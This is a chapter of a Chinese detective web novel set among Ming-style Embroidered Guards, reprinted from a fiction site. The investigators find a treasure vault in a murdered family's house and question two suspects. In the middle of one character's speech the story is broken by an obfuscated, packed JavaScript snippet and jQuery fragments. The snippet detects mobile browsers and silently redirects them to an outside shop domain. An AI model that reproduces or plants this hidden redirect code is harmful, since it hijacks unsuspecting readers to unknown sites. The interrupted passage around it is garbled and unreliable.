文趣网 > 其他小说 > 锦衣行案录 > 4. 藏宝洞窟
    驿站一大早就给上了一桌硬菜。

    大汤黄鱼,八宝糯米笋,笋干菜扣肉,芙蓉鱼片……林林总总加起来竟有十道。

    看这一桌子色香味俱全的佳肴,向来爱吃的张知闲沉下脸。

    驿丞被吓得缩脖子。

    “大……大人。”他咽下一口唾沫,挤出一个讨好的笑,“早食准备得粗……粗陋。等等到晌午……”

    剩余的话在张知闲的注视下卡住了。

    “也是驿站的一份心意。”沈慕华缓缓道。

    朱厌直接动了筷,嘴里还念了一句:“不吃白不吃。”

    汪间见状也拿起筷子。

    “汪间。”张知闲叩了一下桌子。

    汪间手一顿,立即将筷子放了回去,双手规规矩矩搁在腿上。

    张知闲对驿丞问道:“这一桌花了多少银子?”

    听着并无怒气,反而很是平静。

    驿丞懵了,嘴一溜。

    “十两。”

    张知闲眉头皱起。

    “光一顿早食就十两?按规矩我们每人开销最多一钱五分,多的从哪儿出呢?”

    除去房屋粮食,驿站开销全由被征派的民户承担。

    一旦开销超过朝廷规定,那被征来干活的百姓还要自掏腰包补贴多出的开销。

    这一点,心照不宣。

    驿丞一时不知如何回答。

    张知闲掏出一锭银子拍在桌上。

    “饭钱。拿去。”

    驿丞呆在原处,像是吓傻了一般,盯着那银锭一动不动。

    张知闲“啧”了一声,把银锭往他怀里一扔。

    等驿丞反应过来的时候,银锭已经被他捧在手上。

    “多……谢大人……”

    张知闲脸色这才好看了些。

    “日后莫要如此了。别人我管不了,但我们在这儿都按照规矩办。”她声音低了下去,嘟囔了一句,“也不怕自己吃不起饭。”

    明面上驿丞和被征百姓不一样,但实际上,驿丞才是主要承担驿站亏空之人。

    早几年,爹娘就讲过,有些驿丞为贴补亏空甚至到了卖儿卖女的地步。当时爹娘就千叮万嘱,让他们日后出去办差不能占驿站的便宜。

    这样的心思,驿丞怎会不明白?

    五十来岁的人竟红了眼。

    “小的明白了,是小的……”

    张知闲不耐烦摆摆手。

    “去做事。”

    驿丞吸吸鼻子,朝几人行了个大礼倒退着出了房间。

    人一走,张知闲哭丧着脸嚎叫。

    “俩月的俸禄没了!”

    朱厌夹了一块鱼腹肉给沈慕华,还不忘讥笑。

    “让你做好人,活该!”

    沈慕华摸了摸张知闲的脑袋。

    “闲闲做得对。”

    汪间掂了掂自己的钱袋。

    “我这儿还有钱。”

    “你们真好……”张知闲蹭了蹭沈慕华的手。

    朱厌叫了起来。

    “喂!喂!她每年拿的赏赐比我的还多,怎么可能缺钱!”

    他一把推开张知闲的脑袋。

    “头上长虱子了吗?蹭什么蹭!瞅瞅你这抠搜样,和你爹一个模子刻出来的!得亏都知晓汪公公是打小就入了宫,不然还真会以为你是亲生的!”

    张知闲龇牙:“亲生的不如亲养的!”

    朱厌微微一愣。

    他嘀咕了一句:“也是。”便默默坐了回去。

    沈慕华余光瞟见,并未多言,反而玩笑了一句。

    “就当是闲闲做东,咱们吃了好的,好去干活!”

    几人将一桌菜一扫而空,挺着肚子出了驿站。

    刚踏出门,就来了个锦衣卫,开口便是一句。

    “叶府有异。”

    ……

    调转方向去了叶家,锦衣卫带着一行人到了叶擢居住的院子中。

    昨日还在庭院正中间的假山已经被移开,原本的位置出现一个黑洞洞的口子。

    “密室?”张知闲抓了抓额头,“昨日我都没发现……”

    带路的人道:“按照您的吩咐,昨晚我们搜查宅子后便一直看守着。但今早起来后,属下偶然发现此处有被摩擦的痕迹。几番寻找,竟发现这下面竟藏着一个密室。”

    铺路的石子儿上带着明显的白色擦痕。

    “不对!昨日这儿没有擦痕!”张知闲说道。

    沈慕华点点头:“此处痕迹不算隐蔽,按照你的眼力,昨日怎么也该看得见。”

    “那就是昨晚,有人来过?”朱厌声音一颤,“是凶手吗?”

    “先进去。”张知闲一撩衣袍,向下走去。

    密室的大小和院子一般,中间空着,四周放满了数个大箱子。

    张知闲随手掀开一个,眼前闪过一道刺眼的白光。

    她下意识挡住眼睛,缓了缓才睁开眼。

    “嗬!”朱厌叫道,“好多宝贝!”

    箱子里满满放着各色珊瑚玛瑙、珍珠美玉、良金琥珀。

    亮光如同烈火一般闪眼。

    真是好多宝贝。

    张知闲抿了抿嘴唇,抬手将旁边几个箱子全部掀开。

    箱子里无一例外,全是各色金银珠宝。

    身后顿时响起一片抽气声。

    这哪里是密室?分明是藏宝洞!

    “叶……叶家这般有钱?”汪间喃喃道。

    比他们抄的那些巨贪家中还要丰厚几分!

    “忘了?他家祖上是海商。”张知闲倒不算太意外,将箱子扣上,拿着火折子向前走去。

    墙壁靠着一条石雕长案。

    上面是空的,积着灰,唯独正中间有一块是干净的。

    干净的地方有两个手掌那么大,是规规整整的方形。

    她叫了手下过来,指着长案。

    “你们待会儿去一趟另外两家,看看他们有没有类似的密室,密室内有没有这样的痕迹。还有,从现在起,增派人手,严密看管三家宅子。”

    “是!”

    沈慕华走上前看了一眼,眉尾一挑。

    “有意思,这么多金银珠宝分文不取,却拿走了一个……”

    “匣子,看形状应该是个存放东西的匣子。”张知闲抱住双臂,“这个匣子,很可能才是凶手真正的目的。”

    ……

    查看完密室,一行人赶到杨出海的酒楼时已经过了午时了。

    酒楼此时空荡荡的。

    几人一进门,就有个矮墩墩的中年人笑眯眯迎上前。

    “几位客官是在大堂用饭还是去楼上雅间?”

    这人穿得不错,一身杭罗,圆短的双手上套着四五个黄金嵌宝的戒指。

    “你就是杨出海?”张知闲问道。

    中年人目光往四人身上一扫,双目一睁。

    连忙弯腰,深深行了一礼。

    “原是锦衣卫的大人!小的眼拙,请几位大人请楼上雅间上座!”

    雅间清净,正好问话。

    “带路吧。”

    进了雅间,杨出海又叫了伙计去沏茶来。

    一番张罗,桌上堆满了茶水点心才算完事。

    杨出海束手站在边上。

    “不知几位大人今日前来是有什么吩咐?”

    “杨老板是个做大事的人。见到我们也不慌张?”张知闲摩挲着温热的茶盏,目光虚虚落在桌上。

    杨出海问道:“大人是为我那堂弟来的吧?”

    “正是。你家堂弟出事那晚,你在何处?”

    这问题很简单,杨出海却半晌挤不出一个字儿来。

    “怎么?很难回答?”张知闲斜眼打量他。

    掐手,抿唇,很紧张?

    “昨晚小民一直在家中啊!”

    “昨晚?”四人齐刷刷看向他。

    杨出海被吓得整个人都僵住了,嘴唇蠕动了好几下,试探着问道:“不是……昨晚吗?”

    “我问的是杨出明家中出事那晚!你扯什么昨晚?”张知闲紧紧盯着他,想从他的表情上看出一分异样。

    谁知这话一说,杨出海一直耸着的肩膀一下跨了,他失笑道:“误会误会!是小民糊涂,还以为大人问的是昨日我家堂弟在闹市纵马一事!”

    昨日把那人扔给知府衙门后,张知闲还真没再过问过。

    没想到竟是杨家人?

    “那样的小事,值得我跑一趟?说说杨出明那日的事。”

    “回大人的话,小民那晚离开后,约了几个朋友在外宴饮谈生意,天明方归。”

    “九月初三和初六呢?”

    “也在外头,和朋友谈生意,一直到第二日早上才回家。”杨出海苦着脸,作揖道,“小民怎么可能做下这样的事呢,请大人明察。”

    “例行查问罢了。你和出事三家人都很熟悉?我看三场宴会你都有去?”

    “我们三家本就沾亲带故。我家堂弟的大儿媳是章家夫人手帕交的女儿,婚事就是章家夫人给牵的线。叶家和章家关系更近,不仅有老一辈的情分,年轻一辈还曾议过亲呢!可惜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911718|213138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    章家小姐性子实在是古怪,一心向道?年纪轻轻就出了家,连和叶家那样好的婚事都不要!”

    这确实古怪。

    张知闲追问:“章小姐出了家?可她那日也回家了。”

    “这孩子还是孝顺的,虽然平日在明洞观里住着,但常常会回家探亲。”杨出海说着哽咽了起来,他笼着袖子擦了擦泪,声音也嘶哑得很,“若那日她不回来,或许还能逃过一劫。”

    张知闲没空顾着他的情绪。

    此时,她很疑惑一件事。

    “章小姐是在明洞观住着?和叶擢还议过亲?”

    这些,都不算是小事,向远致却没提起过。

    杨出海清了清嗓子。

    “出家的事到底不体面,章小姐又是个姑娘,便一直瞒着外头。和叶家的亲事亦是如此,少有人知晓。也不知是怎的?一开始两边的孩子都是愿意的,没过几年,正准备定亲之时,章家小姐突然反悔,闹得叶家好没面子。”

    “所以她出家……和婚事有关么?”

    “算是有关。婚事黄了以后,叶家很是生气,为了让他们顺顺心气,章家送了她去道观。道观日子清苦,也算是罚了她。这主意确实不错,事后,叶章两家交往如常。”

    听上去是很合理,可张知闲总觉着有些不对劲。

    正要再问的时候,楼下忽然传来一声呼喊。

    “杨七哥,我来送货。”

    杨出海连忙开窗叫道:“烟火放下边就是了,待会儿给你结钱!”

    烟火?

    张知闲朝下头一扫眼。

    送货的是个三十来岁的高个男子,五官秀气,但十分健壮,一身布衣被撑得鼓囊囊的。

    “这人是?”

    “我们宁波本地一个烟火匠人,叫李纯青。”

    “叫他也上来。”张知闲懒得再多跑一趟。

    杨出海不明所以,但还是照办,将人叫了上来。

    李纯青进门一看见几人,那双满是疤痕的手就开始发抖。

    他颤巍巍跪下,磕头。

    “小民见过几位大人。”

    张知闲微微皱起眉。

    “你不是罪人,起来回话就是。”

    “是,是。”李纯青连忙站起,却不小心滑了一下,还是杨出海扶住了他。

    张知闲放轻了语气。

    “八月二十八,九月初三,九月初六,这三晚,你人在何处?”

    李纯青反应了片刻。

    “记不太清……但晚上,小民一般是不出门,呆在家里的。”

    杨出海提醒道:“你再想想,是那三家出事那日。”

    李纯青倒吸一口气:“我再想想……”

    片刻后,他还是摇头。

    “那日吃过席还喝了酒,小民回家后倒头就睡了,没有出门。”

    “正好你们二人都在,你们想想,三场宴会上,可有什么异常?”

    二人沉思半晌,还是说不出个所以然来。

    问完话,一行人从酒楼中出来。

    “有线索吗?”朱厌问道。

    “算是知道了他们一点隐秘。明洞观,要重点关注。”张知闲说道。

    朱厌:“方才那二人,你觉得他们有没有嫌疑?”

    “李纯青嫌疑很小。杨出海,很可疑。”

    沈慕华点点头。

    “李纯青看到我们反应更符合常理,杨出海太镇定了。而且在提及那晚行程之时,李纯青的回答,更值得相信。”

    二人你一言我一语,朱厌却摸不着头脑。

    “不对吧?先不论李纯青支支吾吾语焉不详,就他说人在家里这一点,根本没法核实。反而是杨出海,他那三晚都在外头和朋友谈生意,这才算有切实人证啊!”

    “真的傻!”张知闲咂咂嘴,“若和命案无关,谁会记得案发的具体时日?我就问你,八月二十八那日你晚食吃的什么?”

    朱厌一愣:“这谁记得?”

    “所以李纯青记不清才是常理。”

    “可他人在家这一点如何核实?”

    汪间开口道:“他平日晚上就不出门,出事的三个晚上,习惯没有改变,才是正常。反倒是杨出海。三个晚上,他都在外头和人谈生意。那么凑巧?反而刻意。”

    张知闲赞许摸了摸他的脑袋。

    “老二说得对!”

    汪间向后躲了躲。

    “还要去杨出言那里吗?已经申时了。”

    “还早,来得及。别忘记了血社火。杨出言,也是个很值得怀疑的人选。”